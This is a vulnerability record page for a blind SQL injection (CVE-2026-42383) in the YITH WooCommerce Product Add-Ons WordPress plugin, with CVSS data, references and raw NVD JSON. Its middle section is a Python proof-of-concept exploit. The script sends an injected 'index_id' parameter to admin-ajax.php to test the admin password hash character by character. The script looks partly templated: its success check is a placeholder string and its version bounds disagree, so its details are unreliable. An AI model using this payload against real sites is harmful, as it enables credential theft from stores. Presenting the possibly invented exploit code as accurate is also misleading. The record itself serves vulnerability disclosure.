CVE-2026-42383

Description

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in YITH YITH WooCommerce Product Add-Ons allows Blind SQL Injection. This issue affects YITH WooCommerce Product Add-Ons: from n/a through 4.29.0.

CVSS Details

CVSS Score

7.6

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:L

Configurations (Affected Products)

No configuration data available.

YITH WooCommerce Product Add-Ons <= 4.29.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Exploit Title: YITH WooCommerce Product Add-Ons < 4.29.0 - Blind SQL Injection
# Date: 2026-05-20
# Exploit Author: Researcher
# Vendor Homepage: https://yithemes.com/
# Software Link: https://wordpress.org/plugins/yith-woocommerce-product-add-ons/
# Version: <= 4.29.0
# Tested on: WordPress 6.x

import requests
import time

# Configuration
target_url = "http://example.com/wp-admin/admin-ajax.php"
cookie = {
    "wordpress_logged_in_xxx": "your_admin_cookie_here"
}

# Vulnerable parameter example
# The endpoint expects specific addon options, but fails to sanitize input
data = {
    "action": "yith_wapo_get_option_price", 
    "addon_id": "1",
    "index_id": "1 AND (SELECT SUBSTRING(password,1,1) FROM wp_users WHERE ID=1) = '$'"
}

response = requests.post(target_url, data=data, cookies=cookie)

# Analyze response to determine if SQL query was True or False (Blind)
if "valid_response" in response.text:
    print("[+] Payload returned TRUE")
else:
    print("[-] Payload returned FALSE")

# Note: Further automation is required to extract full data character by character.

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42383
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42383
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42383/
[4] VulDB https://vuldb.com/cve/CVE-2026-42383
[5] https://patchstack.com/database/wordpress/plugin/yith-woocommerce-product-add-ons/vulnerability/wordpress-yith-woocommerce-product-add-ons-plugin-4-29-0-sql-injection-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42383", "sourceIdentifier": "[email protected]", "published": "2026-05-20T13:16:32.333", "lastModified": "2026-05-20T13:54:54.890", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in YITH YITH WooCommerce Product Add-Ons allows Blind SQL Injection.\n\nThis issue affects YITH WooCommerce Product Add-Ons: from n/a through 4.29.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:L", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/yith-woocommerce-product-add-ons/vulnerability/wordpress-yith-woocommerce-product-add-ons-plugin-4-29-0-sql-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}